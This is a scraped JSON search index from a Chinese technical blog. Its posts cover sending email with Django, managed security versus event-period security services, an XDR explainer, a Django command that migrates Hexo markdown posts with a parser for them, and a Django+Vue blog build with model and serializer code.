import send_mail send_mail(\u0026#39;test\u0026#39;,\u0026#39;this is test mail\u0026#39;,\u0026#39;yourmail@qq.com\u0026#39;,[\u0026#39;yourmail@126.com\u0026#39;,\u0026#39;yormail@qq.com\u0026#39;]) 如果反回1就表示发送成功了, 查收邮件到达。\n如果发送不成功，请仔细核对邮箱服务的相关配置，一般来说与django无关。\n博客地址：http://xiejava.ishareread.com/\n关注：微信公众号,一起学习成长！\n","permalink":"http://xiejava.ishareread.com/posts/2022-12-30-%E9%80%9A%E8%BF%87django%E5%8F%91%E9%80%81%E9%82%AE%E4%BB%B6/","summary":"\u003cp\u003e通过Django发送邮件非常的简单，在Python中已经内置了一个smtplib邮件发送模块，Django在此基础上进行了简单地封装，我们可以在Django的环境中方便的发送邮件。大部分邮件发送成功主要是邮件的参数配置，本文以常用的126邮箱和QQ邮箱为例介绍Django发送邮件的配置，其他提供smtp邮件服务的邮箱都是一样的。\u003c/p\u003e","title":"通过Django发送邮件"},{"content":"近年来，高新技术数字经济快速发展，数字化转型成为各个行业高质量发展的重要引擎和创新路径。网络安全作为数字化建设的安全基石，却面临着网络安全人才缺口不断攀升的直接挑战。各安全公司依托自己网络安全经验的人才优势向客户提供各类安全服务，最常见的就是安全托管和重保安全。\n安全托管服务与重保安全服务都是为客户提供安全服务，这两者有啥区别呢？\n一、安全托管服务 安全托管服务（Managed Security Service，MSS），是由Gartner于2011年提出，简单来讲，即网络安全厂商通过自身的安全运营服务，包括人员、工具、平台等，为其用户提供7*24小时的安全托管服务。MSS安全托管服务最直接的目的，就是解决用户自身安全能力不足的问题，将专业的事情交给专业的人来做。说白了其实就是企业将自身的安全运营外包给有能力的安全厂商，解决自身安全运营能力不足的问题。\n二、重保安全服务 重保安全服务（Cybersecurity in Important Period, CIP），是指在特殊时期（如HVV等）、重要活动（如两会等）、重大节日（如国庆等）期间为用户构建全方面的重要敏感时期的安全保障服务。保障网络基础设施、重点网站和业务系统安全，提供全方位的安全防守建设咨询以及事前、事中、事后的全面安全建设托管服务，确保企业客户的业务系统能够在重大活动期间安全平稳运行。\n三、安全托管服务与重保安全服务的区别 从安全托管服务与重保安全服务的概念和定义上，个人理解安全托管服务与重保安全服务还是有所区别的。\n一般来说，安全托管服务(MSS)服务侧重于管理和运营，以保障企业IT业务稳定运行为目的，主要是日常的安全运营。而重保安全更接近实战化主要侧重于重保期间的防护值守，有重点的企业客户的业务系统能够在重大活动期间安全平稳运行。\n拿平时我们见到社会安保来类比，日常安全运营就是我们平时看到的日常治安巡逻；重保就是比如国庆期间、两会其间有针对性的加大安保防范力度如特警武装上岗执勤、某些重要场所限制人流、加强舆情监控等必要的防控手段。\n从具体的服务内容来看： 安全托管服务主要是日常安全运营相关的内容如：资产的定期梳理、暴露面的检测、定期的漏扫、漏扫后的安全加固整改、安全监测、事件协助处置、安全策略定期优化等。\n重保安全服务主要是针对重保时期有重点的安全保障更贴近实战化如：准备阶段的资产清查、暴露面识别、暴露面收敛等；重保初期的重点系统（或靶标系统）专项加固、情报收集、攻击阻断演练等；重保阶段的安全事件分析、响应处置、溯源反制、防守报告等。\n从人员配置来看： 重保安全服务的人员配置不管是从人员数量还是个人网络安全专业水平来看都要比安全托管服务的高。一般来说重保安全服务的核心人员都会要求有攻防对抗能力。可以想像一下普通安保人员与武装特警的区别。\n博客地址：http://xiejava.ishareread.com/\n关注：微信公众号,一起学习成长！\n","permalink":"http://xiejava.ishareread.com/posts/2022-12-28-%E5%AE%89%E5%85%A8%E6%89%98%E7%AE%A1%E4%B8%8E%E9%87%8D%E4%BF%9D%E5%AE%89%E5%85%A8%E6%9C%8D%E5%8A%A1/","summary":"\u003cp\u003e近年来，高新技术数字经济快速发展，数字化转型成为各个行业高质量发展的重要引擎和创新路径。网络安全作为数字化建设的安全基石，却面临着网络安全人才缺口不断攀升的直接挑战。各安全公司依托自己网络安全经验的人才优势向客户提供各类安全服务，最常见的就是安全托管和重保安全。\u003c/p\u003e","title":"安全托管与重保安全服务"},{"content":"近年安全圈XDR的概念非常火，是近几年热点的安全技术之一，究竟什么是XDR，XDR核心能力是什么？能够解决什么问题，XDR与EDR、NDR关系和区别又是什么？让我们带着这些问题一起来认识一下XDR。\n一、什么是XDR XDR 于 2018 年由 Palo Alto 首席技术官 Nir Zuk 提出，2020-2021 年连续入选 Gartner 端点安全、安全运营技术成熟度曲线，目前处于创新启动期。\nXDR全名是Extended Detection and Response（扩展检测和响应），因为缩写与EDR重名了，所以就取了Extended第二个字母X，缩成了XDR。\nGartner给出的XDR定义为：XDR是一种基于SaaS的、绑定于特定供应商的安全威胁检测和事件响应工具，它将多个安全产品集成到一个统一了所有许可安全组件的内聚安全运营系统中。\n通常情况下，可以认为XDR是一个融合了多种安全检测、响应能力的平台框架，只要是为了解决威胁检测与响应的问题能力模块，都可以往里装。它需要将多个安全产品能力有机的结合在一起，有统一的数据格式、策略、交互界面。相对于EDR（端点的检测与响应）和NDR（网络的检测与响应）来说，特别的强调X的概念，也就是可以扩展（Extended）的检测与响应。这里X覆盖了云、网、端、威胁情报等，EDR和NDR及其他的检测设备都可以作为XDR的能力模块为XDR提供数据来源和检测手段。\n二、XDR解决什么问题 近期， Gartner正式发布了2022安全运营技术成熟度曲线（Hype Cycle），正如大家所预测的那样，XDR终于站上了Peak of Inflated Expectations的顶端，成为安全运营体系中最炙手可热的技术之一，具体如下图所示：\n那么在企业安全运营过程中究竟有什么困惑，XDR又能解决什么问题呢？\n1、安全运营的困惑 单兵作战/数据孤岛 企业虽然有了SIEM/SOC等日志类数据分析平台，或是IDS、IPS、WAF、防火墙、EDR等单点安全设备，但前者无法理解下游检测设备告警，数据多而不准，安全误报多；后者获取的数据又有限，不同设备数据还无法紧密集成，最后变成了真实风险看不到，出现威胁防不了。\n告警疲劳，误报多 安全人员每天都会收到来自不同安全设备的上万条威胁告警，而头疼的是，绝大多数（90%以上）都并非真实威胁，所以安全人员不是身体在处理误报的路上，就是精神在遭受误报的折磨，压力非常之大。\n全局态势不可见 企业虽然买了一堆的安全设备，这些设备都产生了相应的告警，但是没有形成统一的全局的安全风险态势，对于安全主管来说要重点防范哪些地方，企业的安全建设还有哪些短板，这些都不可以知不可见。\n响应处置能力弱 发生网络安全事件以后，无法有效溯源，快速的处置，尤其是多设备的联动处置，大多还停留在手工处置的阶段，处置效率先对比较低，不及时。\n2、XDR的作用 XDR通过统一的交互框架、统一的数据标准、统一的数据存储方式进行安全数据采集、安全威胁集中分析、安全事件统一处置、响应编排。\nXDR的核心作用在于能够跨越不同数据源与IT架构，集中汇集云、网、端、威胁情报等多源安全数据/工具。通过大数据与人工智能、用户行为分析等智能分析手段，对安全数据/事件进行关联分析，还原攻击路径，达到对整个攻击面的全面可视，解决安全孤岛的问题。基于动态更新的事件库与预置处置场景将产出的告警进行自动化编排与分诊，实现自动化响应。解决安全运营过程中数据孤岛、告警疲劳、全局态势不可见、响应处置能力弱的问题，更重要的是将企业安全运营水平和标准化产品挂钩，而非依赖不稳定的个人技术水平。\n三、XDR与EDR、NDR的区别 EDR从端点侧做威胁检测，确实能检测到攻击的准确信息，但是端点检测这种方式需要在用户主机上安装检测agent程序，无法覆盖用户所有的资产。并且端点检测的部署成本相比网络检测也更高，对于端点的操作系统、硬件配置、网络情况都有要求。\nNDR从网络侧做威胁检测，检测到的更多都是攻击的特征或者攻击意图，此时攻击很有可能并未真正发生，或者并未造成严重后果。如果全部转化为威胁事件，则会造成告警风暴，给运营带来困难。\n所以EDR的特点是检测的深但是覆盖面窄，而NDR的特点是检测的浅但是覆盖面广。\nXDR则结合了这两者的全部优点，对于重点资产可采用端点检测方式，对于其他资产可采用网络检测方式。XDR平台会将这两种能力检测到的原始事件信息进行自动化关联，最终可将这些疑似的攻击信息，关联分析形成精准的威胁告警事件。\n四、XDR的架构和核心能力 1、XDR的架构 因为XDR是一个融合了多种安全检测、响应能力的平台框架，XDR的架构其关键组件包括前端组件（感应器，主要负责数据采集及检测）和后端平台组件（主要负责数据的汇聚、分析、威胁检测、响应处置）\nXDR前端组件，由生成安全遥测数据的“触角”（感应器）组成，这些触角包括但不限于EDR（终端检测与响应-Endpoint Detection and Response)、EPP(终端防护平台-Endpoint Protection Platforms)、NDR（流量检测与响应平台-Network Detection and Response)、SSE（安全服务边缘-Security Services Edge)、CWPP(云工作负载安全防护平台-Cloud Workload Protection Platforms)、蜜罐、邮件安全。\n而XDR的后端平台，则是吸收所有关键位置的遥测数据、日志、威胁上下文信息，之后再对所有的数据进行关联、高级分析、从而完成威胁检测、调查分析、攻击溯源、工具编排、自动化响应等工作。\n从整体架构上XDR可以看成是融合了各安全能力组件（EDR、NDR等）+SDC（安全数据中心）+SIEM/SA（安全信息事件管理/态势感知）+SOAR（安全编排与自动化响应）形成的一个安全运营系统。\n2、核心能力 XDR核心能力包括数据集成、检测技术、可视化、编排响应技术。\n安全数据全面集成 对不同安全设备的数据进行全面的采集包括：内部（资产、脆弱性）、外部（流量、日志）以及云端威胁情报接入等相关安全数据的全面采集，汇聚、分析。\n安全威胁深度检测 对多源安全告警进行关联分析、规则分析、情报分析、机器学习等，发现潜伏的高级持续性威胁，提升告警检出率和准确率。\n安全态势集中展示 告警可视、事件可视、攻击可视，从多安全事件、攻击方向、攻击趋势、影响范围等多维度多视角进行态势可视化呈现。\n安全事件快速处置 通过可视化剧本编排，快速实现人员、流程、工具的有效协同，对接联动安全防护设备，在安全事件发生时自动下发阻断策略，并在必要时下发通知预警，及时完成安全闭环。\nXDR成熟度模型如下： 五、XDR应用场景 XDR集中汇集云、网、端、威胁情报等多源安全数据/工具，解决安全运营过程中数据孤岛、告警疲劳、全局态势不可见、响应处置能力弱的问题。可以有效应用于企业常态化安全运营及重保攻防实战对抗场景。\n日常安全运营场景 日常安全运营，通过XDR提升安全运营的威胁检测能力和响应效率。 精准响应：更好的检测效果及响应能力，解决原有海量告警导致事件难以有效检测、溯源深度不足导致响应效果差的问题，有效应对攻防对抗加剧带来新的安全风险。 风险管理：从被动事件响应转向有计划的风险管理，预防重大安全事件。 处置闭环：采用简单有效的方式开展安全分析、管理、处置工作，实现事件处置的有效闭环管控。 态势可见：安全态势统一呈现，安全运营有地放矢，哪里不足补哪里。\n攻防实战对抗场景 攻防实战，通过XDR实现异构可扩展的威胁检测响应能力，进行快速响应、加固优化安全措施、攻击反制。 检测深度：更精准的高级威胁检测和安全事件溯源能力。 检测广度：拥有丰富的数据，包括事件完整的上下文信息、原始报文等供客户深度挖掘；全方位的的威胁数据采集，全面的威胁检测分析，全局的态势呈现。 敏捷响应：可进行快速响应、加固优化安全措施、攻击反制。\n博客地址：http://xiejava.ishareread.com/\n关注微信公众号,一起学习、成长！\n","permalink":"http://xiejava.ishareread.com/posts/2022-11-13-%E8%AE%A4%E8%AF%86xdr-%E6%89%A9%E5%B1%95%E5%A8%81%E8%83%81%E6%A3%80%E6%B5%8B%E4%B8%8E%E5%93%8D%E5%BA%94%E5%B9%B3%E5%8F%B0/","summary":"\u003cp\u003e近年安全圈XDR的概念非常火，是近几年热点的安全技术之一，究竟什么是XDR，XDR核心能力是什么？能够解决什么问题，XDR与EDR、NDR关系和区别又是什么？让我们带着这些问题一起来认识一下XDR。\u003c/p\u003e","title":"认识XDR-扩展威胁检测与响应平台"},{"content":"实现了hexo的md文件格式解析，通过什么方式怎么来迁移hexo的博客到django的博客呢？开始想到的是通过Django的manage.py的shell命令，通过shell可以执行写好的python脚本进行hexo的md文件格式解析并入库。后来想想为啥不直接自定义一个manage.py的命令直接进行迁移呢？就如我们新建Django工程迁移数据库一样，执行python manage.py migrate来迁移数据库。我们可以定义python manage.py xxx来执行的迁移hexo博客。\n自定义Django-admin命令分三步：创建management文件夹、编写命令代码、测试验证\n一、创建management文件夹 自定义的Django-admin管理命令本质上是一个python脚本文件，它的存放路径必须遵循一定的规范，一般位于app/management/commands目录。整个文件夹的布局如下所示： 注意app要在setting中注册 在blog/management/commands包下面创建transblog.py文件\n这里有两个要注意的地方:\n1、app要在setting中注册。如blog在setting中注册了所以可以在blog/management/commands包下面创建transblog.py文件，api和common都没有在setting中注册所以在这两个目录下创建的不会作为管理命令生效。 2、创建的management/commands是Python包，不是单纯的目录，区别就是目录里必须有__init__.py文件，空文件都可以。\n二、编写命令代码 创建命令管理文件后就可以在该文件中编写命令代码了。 每一个自定义的管理命令本质是一个Command类, 它继承了Django的Basecommand或其子类, 主要通过重写handle()方法实现自己的业务逻辑代码，而add_arguments()则用于帮助处理命令行的参数，如果运行命令时不需要额外参数，可以不写这个方法。 transblog.py的参考代码如下：\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 # -*- coding: utf-8 -*- \u0026#34;\u0026#34;\u0026#34; :author: XieJava :url: http://ishareread.com :copyright: © 2021 XieJava \u0026lt;xiejava@ishareread.com\u0026gt; :license: MIT, see LICENSE for more details. \u0026#34;\u0026#34;\u0026#34; import os from blog.models import BlogPost,BlogCategory,Tag from utils.parseblog import parseblog from django.core.management.base import BaseCommand class Command(BaseCommand): help=\u0026#39;读取指定目录的.md文件解析至ishareblog\u0026#39; def add_arguments(self, parser): parser.add_argument(\u0026#39;--path\u0026#39;,help=\u0026#39;输入.md文件的目录\u0026#39;) parser.add_argument(\u0026#39;--file\u0026#39;,help=\u0026#39;输入.md文件的路径\u0026#39;) def handle(self, *args, **options): inputfile = input(\u0026#39;请输入指定的目录路径或.md文件路径:\u0026#39;) if inputfile.find(\u0026#39;.md\u0026#39;) \u0026gt; 0: self.transblogbyfile(inputfile) else: self.transblogbypath(inputfile) if options[\u0026#39;path\u0026#39;]: self.transblogbypath(options[\u0026#39;path\u0026#39;]) if options[\u0026#39;file\u0026#39;]: self.transblogbyfile(options[\u0026#39;file\u0026#39;]) \u0026#39;\u0026#39;\u0026#39;读取目录解析md文件并写入数据库\u0026#39;\u0026#39;\u0026#39; def transblogbypath(self,filepath=\u0026#39;\u0026#39;,): try: files = os.listdir(filepath) for file in files: if file.find(\u0026#39;.md\u0026#39;) \u0026gt; 0: blog_file = os.path.join(filepath, file) self.transblogbyfile(blog_file) except FileNotFoundError as e: print(\u0026#39;请确认输入是否正确。\u0026#39;,e) \u0026#39;\u0026#39;\u0026#39;读取md文件入库\u0026#39;\u0026#39;\u0026#39; def transblogbyfile(self,blogfile=\u0026#39;\u0026#39;): blog_info = parseblog(blogfile) filename=os.path.basename(blogfile) #判断是否存在相同的title qs=BlogPost.objects.filter(title=blog_info[\u0026#39;title\u0026#39;]) if len(qs)==0: category = None tag_objs = [] if \u0026#39;categories\u0026#39; in blog_info: categories=blog_info[\u0026#39;categories\u0026#39;] if len(categories)\u0026gt;0: category_title = categories[0] category_qs=BlogCategory.objects.filter(title=category_title) if len(category_qs)\u0026gt;0: category=category_qs[0] if \u0026#39;tags\u0026#39; in blog_info: tags=blog_info[\u0026#39;tags\u0026#39;] for tag in tags: tag_obj,b=Tag.objects.get_or_create(tag=tag) print(tag_obj.id) tag_objs.append(tag_obj) blog = BlogPost() blog.title = blog_info[\u0026#39;title\u0026#39;] blog.content = blog_info[\u0026#39;content\u0026#39;] blog.isShow = 1 #默认显示 blog.summary=blog.content[0:200] #默认提取内容的前200个字作为摘要 blog.category=category blog.blogSource = filename blog.pubTime=blog_info[\u0026#39;date\u0026#39;] blog.save() if len(tag_objs)\u0026gt;0: blog.tags.add(*tag_objs) print(filename + \u0026#39;读取解析入库成功！\u0026#39;) else: print(blog_info[\u0026#39;title\u0026#39;]+\u0026#39;已经存在！\u0026#39;) 代码很简单，就是根据读取命令行的参数，这个参数就是需要迁移hexo的.md文件的目录或文件路径，读取目录或文件路径进行文件的解析，并写入到数据库。 .md文件的解析参考:Python二十行代码实现hexo的md文件格式解析\n三、测试验证 命令代码写完后就可以进行测试了。 在命令行输入python manage.py 可以看到自定义的transblog已经加入到管理命令了\n输入 python manage.py transblog -h 会提示命令的参数和用法： 如执行 python manage.py transblog 会提示\u0026quot;请输入指定的目录路径或.md文件路径:\u0026quot;\n1 2 (venv) PS D:\\Python\\study\\pythonproject\\ishareblog\\ishareblog\u0026gt; python manage.py transblog 请输入指定的目录路径或.md文件路径: 我们输入需要迁移的.md文件或路径 如：E:\\CloudStation\\personal\\xiejavablog\\myhexo\\myblog\\source_posts\\2022-07-27-Python二十行代码实现hexo的md文件格式解析.md 不出意外的情况下控制台会打印“XXXX.md读取解析入库成功！”的信息 访问博客，可以看到文章已经迁移过来了 全部代码仓库：https://gitee.com/ishareblog/ishareblog\n作者博客：http://xiejava.ishareread.com/\n关注微信公众号,一起学习、成长！\n","permalink":"http://xiejava.ishareread.com/posts/2022-07-27-django%E8%87%AA%E5%AE%9A%E4%B9%89manage-py%E5%91%BD%E4%BB%A4%E5%AE%9E%E7%8E%B0hexo%E5%8D%9A%E5%AE%A2%E8%BF%81%E7%A7%BB/","summary":"\u003cp\u003e实现了hexo的md文件格式解析，通过什么方式怎么来迁移hexo的博客到django的博客呢？开始想到的是通过Django的manage.py的shell命令，通过shell可以执行写好的python脚本进行hexo的md文件格式解析并入库。后来想想为啥不直接自定义一个manage.py的命令直接进行迁移呢？就如我们新建Django工程迁移数据库一样，执行python manage.py migrate来迁移数据库。我们可以定义python manage.py xxx来执行的迁移hexo博客。\u003c/p\u003e","title":"Django自定义manage.py命令实现hexo博客迁移"},{"content":"最近用django+Vue实现了一个博客应用，原来的hexo的博客用着也挺好，想继续留着用，于是就想将hexo生成的.md的博客内容文件解析后直接写到django的博客数据库里做同步显示。\nhexo生成的.md文件内容主要分两部分，一部分是博客的信息、一部分是博客内容，博客信息包括标题、目录、标签、发布日期等，博客内容就是具体博客写的内容主体了。 其中博客信息通过\u0026quot;\u0026mdash;\u0026ldquo;来区分，夹在两个\u0026rdquo;\u0026mdash;\u0026ldquo;块之间。博客的信息是yaml来描叙的需要解析并提取出相应的字段及内容，博客内容就更简单了直接是markdown描叙的不需要再解析了。 这里要做的事情就是提取两个\u0026rdquo;\u0026mdash;\u0026ldquo;符号之间的内容，并解析相应的字段，提取两个\u0026rdquo;\u0026mdash;\u0026ldquo;符号后面的内容作为博客的内容，形成字典，便于后面的入库。\n代码示例如下： yaml的解析可以直接用Python的PyYAML库\n1 pip install PyYAML 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 # -*- coding: utf-8 -*- \u0026#34;\u0026#34;\u0026#34; :author: XieJava :url: http://ishareread.com :copyright: © 2021 XieJava \u0026lt;xiejava@ishareread.com\u0026gt; :license: MIT, see LICENSE for more details. \u0026#34;\u0026#34;\u0026#34; import yaml \u0026#39;\u0026#39;\u0026#39;将md文件转成blog对象\u0026#39;\u0026#39;\u0026#39; def parseblog(blog_md_file): #读md文件 md_f = open(blog_md_file, \u0026#34;r\u0026#34;,encoding=\u0026#39;utf-8\u0026#39;) md_f_str=md_f.read() #解析两个---之间的内容 pattern=\u0026#39;---\u0026#39; blog_data={} pattern_list=list(pattern_search(md_f_str, pattern)) if len(pattern_list)\u0026gt;=2: blog_info_str=md_f_str[pattern_list[0]+len(pattern):pattern_list[1]] blog_data=yaml.load(blog_info_str,Loader=yaml.SafeLoader) blog_data[\u0026#39;content\u0026#39;]=md_f_str[pattern_list[1]+len(pattern):] md_f.close() return blog_data \u0026#39;\u0026#39;\u0026#39;分割符号匹配检索\u0026#39;\u0026#39;\u0026#39; def pattern_search(string,pattern): index=0 while index\u0026lt;len(string)-len(pattern): index=string.find(pattern,index,len(string)) if index==-1: break yield index index+=len(pattern)-1 if __name__ == \u0026#39;__main__\u0026#39;: blog_data=parseblog(\u0026#39;E:\\\\CloudStation\\\\personal\\\\xiejavablog\\\\myhexo\\\\myblog\\\\source\\\\_posts\\\\2022-07-19-Vue3解析markdown解析并实现代码高亮显示.md\u0026#39;) print(blog_data) 效果： 可以看到hexo的md文件正确解析出来，形成字典。后续可以直接进行入库操作了。\nPython的库还是很丰富实用的，用Python二十行代码就实现hexo的md文件格式解析。\n源代码仓库：https://gitee.com/ishareblog/ishareblog\n","permalink":"http://xiejava.ishareread.com/posts/2022-07-27-python%E4%BA%8C%E5%8D%81%E8%A1%8C%E4%BB%A3%E7%A0%81%E5%AE%9E%E7%8E%B0hexo%E7%9A%84md%E6%96%87%E4%BB%B6%E6%A0%BC%E5%BC%8F%E8%A7%A3%E6%9E%90/","summary":"\u003cp\u003e最近用django+Vue实现了一个博客应用，原来的hexo的博客用着也挺好，想继续留着用，于是就想将hexo生成的.md的博客内容文件解析后直接写到django的博客数据库里做同步显示。\u003c/p\u003e","title":"Python二十行代码实现hexo的md文件格式解析"},{"content":"Django是一个开放源代码的Web应用框架，由Python写成。采用了MTV的框架模式，即模型M，视图V和模版T。它最初是被开发来用于管理劳伦斯出版集团旗下的一些以新闻内容为主的网站的，即是CMS（内容管理系统）软件。对于博客网站来说是典型的CMS应用。本文介绍通过Django+Vue的博客模版快速实现一个可用的博客网站。\n这里用的博客模板是Gblog是一款nice的基于 vue 的博客模板。界面简洁轻快，非常适合用作个人博客。https://gitee.com/fengziy/Gblog 后台的接口和管理界面就通过Django框架来实现了。\n这里数据库用mysql，接口框架主要用到的是Django的djangorestframework，内容编辑器用的是markdown通过django-mdedior库实现。\n一、依赖库 1 2 3 4 5 6 7 8 9 10 11 asgiref==3.5.2 Django==4.0.6 django-cors-headers==3.13.0 django-filter==22.1 django-mdeditor==0.1.20 djangorestframework==3.13.1 mysqlclient==2.1.1 Pillow==9.2.0 pytz==2022.1 sqlparse==0.4.2 tzdata==2022.1 二、工程目录组织结构 三、代码实现 1、模型 模型很简单，根据Gblog前台要显示的内容包括有‘文章分类’、‘文章标签’、‘博客文章’、‘站点信息’、‘社交信息’、‘聚焦’，模型定义分别如下： 这里要说明的是因为博客文章内容准备用markdown编写，所以引入了mdeditor from mdeditor.fields import MDTextField 内容字段content=MDTextField(verbose_name='内容') 模型代码示例如下：\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 from django.db import models from common.basemodel import BaseModel from mdeditor.fields import MDTextField # Create your models here. \u0026#39;\u0026#39;\u0026#39;文章分类\u0026#39;\u0026#39;\u0026#39; class BlogCategory(BaseModel): id = models.AutoField(primary_key=True) title=models.CharField(max_length=50,verbose_name=\u0026#39;分类名称\u0026#39;,default=\u0026#39;\u0026#39;) href=models.CharField(max_length=100,verbose_name=\u0026#39;分类路径\u0026#39;,default=\u0026#39;\u0026#39;) def __str__(self): return self.title class Meta: verbose_name=\u0026#39;文章分类\u0026#39; verbose_name_plural=\u0026#39;文章分类\u0026#39; \u0026#39;\u0026#39;\u0026#39;文章标签\u0026#39;\u0026#39;\u0026#39; class Tag(BaseModel): id=models.AutoField(primary_key=True) tag=models.CharField(max_length=20, verbose_name=\u0026#39;标签\u0026#39;) def __str__(self): return self.tag class Meta: verbose_name=\u0026#39;标签\u0026#39; verbose_name_plural=\u0026#39;标签\u0026#39; \u0026#39;\u0026#39;\u0026#39;博客文章\u0026#39;\u0026#39;\u0026#39; class BlogPost(BaseModel): id = models.AutoField(primary_key=True) title = models.CharField(max_length=200, verbose_name=\u0026#39;文章标题\u0026#39;, unique = True) category = models.ForeignKey(BlogCategory, blank=True, null=True, verbose_name=\u0026#39;文章分类\u0026#39;, on_delete=models.DO_NOTHING) isTop=models.BooleanField(default=False,verbose_name=\u0026#39;是否置顶\u0026#39;) isHot=models.BooleanField(default=False,verbose_name=\u0026#39;是否热门\u0026#39;) summary=models.CharField(max_length=500,verbose_name=\u0026#39;内容摘要\u0026#39;,default=\u0026#39;\u0026#39;) content=MDTextField(verbose_name=\u0026#39;内容\u0026#39;) viewsCount= models.IntegerField(default=0, verbose_name=\u0026#34;查看数\u0026#34;) commentsCount=models.IntegerField(default=0, verbose_name=\u0026#34;评论数\u0026#34;) tags=models.ManyToManyField(to=Tag, related_name=\u0026#34;tag_post\u0026#34;, blank=True, default=None,verbose_name=\u0026#34;标签\u0026#34;) @property def tag_list(self): return \u0026#39;,\u0026#39;.join([i.tag for i in self.tags.all()]) def __str__(self): return self.title class Meta: verbose_name = \u0026#39;博客文章\u0026#39; verbose_name_plural = \u0026#39;博客文章\u0026#39; \u0026#39;\u0026#39;\u0026#39;站点信息\u0026#39;\u0026#39;\u0026#39; class Site(BaseModel): id = models.AutoField(primary_key=True) name=models.CharField(max_length=50, verbose_name=\u0026#39;站点名称\u0026#39;, unique = True) avatar=models.CharField(max_length=200, verbose_name=\u0026#39;站点图标\u0026#39;) slogan=models.CharField(max_length=200, verbose_name=\u0026#39;站点标语\u0026#39;) domain=models.CharField(max_length=200, verbose_name=\u0026#39;站点域名\u0026#39;) notice=models.CharField(max_length=200, verbose_name=\u0026#39;站点备注\u0026#39;) desc=models.CharField(max_length=200, verbose_name=\u0026#39;站点描述\u0026#39;) def __str__(self): return self.name class Meta: verbose_name = \u0026#39;站点信息\u0026#39; verbose_name_plural = \u0026#39;站点信息\u0026#39; \u0026#39;\u0026#39;\u0026#39;社交信息\u0026#39;\u0026#39;\u0026#39; class Social(BaseModel): id=models.AutoField(primary_key=True) title=models.CharField(max_length=20, verbose_name=\u0026#39;标题\u0026#39;) icon=models.CharField(max_length=200, verbose_name=\u0026#39;图标\u0026#39;) color=models.CharField(max_length=20, verbose_name=\u0026#39;颜色\u0026#39;) href=models.CharField(max_length=100, verbose_name=\u0026#39;路径\u0026#39;) def __str__(self): return self.title class Meta: verbose_name = \u0026#39;社交信息\u0026#39; verbose_name_plural = \u0026#39;社交信息\u0026#39; \u0026#39;\u0026#39;\u0026#39;聚焦\u0026#39;\u0026#39;\u0026#39; class Focus(BaseModel): id=models.AutoField(primary_key=True) title=models.CharField(max_length=20, verbose_name=\u0026#39;标题\u0026#39;) img=models.CharField(max_length=100, verbose_name=\u0026#39;路径\u0026#39;) def __str__(self): return self.title class Meta: verbose_name=\u0026#39;聚焦\u0026#39; verbose_name_plural=\u0026#39;聚焦\u0026#39; \u0026#39;\u0026#39;\u0026#39;友链\u0026#39;\u0026#39;\u0026#39; class Friend(BaseModel): id=models.AutoField(primary_key=True) siteName=models.CharField(max_length=20, verbose_name=\u0026#39;友链站点名称\u0026#39;) path=models.CharField(max_length=100, verbose_name=\u0026#39;地址路径\u0026#39;) desc=models.CharField(max_length=200, verbose_name=\u0026#39;描述\u0026#39;) def __str__(self): return self.siteName class Meta: verbose_name=\u0026#39;友链\u0026#39; verbose_name_plural=\u0026#39;友链\u0026#39; 2、admin管理 实际上只要把模型注册到admin就可以了\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 from django.contrib import admin from blog.models import * # Register your models here. @admin.register(BlogCategory) class BlogCategoryAdmin(admin.ModelAdmin): admin.site.site_title=\u0026#34;ishareblog后台\u0026#34; admin.site.site_header=\u0026#34;ishareblog后台\u0026#34; admin.site.index_title=\u0026#34;ishareblog管理\u0026#34; list_display = [\u0026#39;id\u0026#39;, \u0026#39;title\u0026#39;, \u0026#39;href\u0026#39;] @admin.register(BlogPost) class BlogPostAdmin(admin.ModelAdmin): list_display = [\u0026#39;title\u0026#39;,\u0026#39;category\u0026#39;,\u0026#39;isTop\u0026#39;,\u0026#39;isHot\u0026#39;] search_fields = (\u0026#39;title\u0026#39;,) @admin.register(Site) class SiteAdmin(admin.ModelAdmin): list_display = [\u0026#39;name\u0026#39;,\u0026#39;slogan\u0026#39;,\u0026#39;domain\u0026#39;,\u0026#39;desc\u0026#39;] @admin.register(Social) class SocialAdmin(admin.ModelAdmin): list_display = [\u0026#39;title\u0026#39;,\u0026#39;href\u0026#39;] @admin.register(Focus) class FoucusAdmin(admin.ModelAdmin): list_display = [\u0026#39;title\u0026#39;,\u0026#39;img\u0026#39;] @admin.register(Friend) class FoucusAdmin(admin.ModelAdmin): list_display = [\u0026#39;siteName\u0026#39;,\u0026#39;path\u0026#39;,\u0026#39;desc\u0026#39;] @admin.register(Tag) class TagAdmin(admin.ModelAdmin): list_display = [\u0026#39;id\u0026#39;,\u0026#39;tag\u0026#39;] 3、接口 前端是Vue模板展示的，所以要为前端Vue提供相应的接口。通过djangorestframework将模型通过restful接口提供是非常easy的。\n1）首先将需要暴露的模型通过序列化类序列化 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 serializers.py from blog.models import * from rest_framework import serializers class BlogCategoryModelSerializer(serializers.ModelSerializer): class Meta: model=BlogCategory fields = \u0026#34;__all__\u0026#34; class TagModelSerializer(serializers.ModelSerializer): class Meta: model = Tag fields = \u0026#34;__all__\u0026#34; class BlogPostModelSerializer(serializers.ModelSerializer): create_time = serializers.DateTimeField(format=\u0026#34;%Y-%m-%d %H:%M:%S\u0026#34;, required=False, read_only=True) update_time = serializers.DateTimeField(format=\u0026#34;%Y-%m-%d %H:%M:%S\u0026#34;, required=False, read_only=True) category_id = serializers.CharField(max_length=32, source=\u0026#39;category.id\u0026#39;) pubTime=update_time category=BlogCategoryModelSerializer() 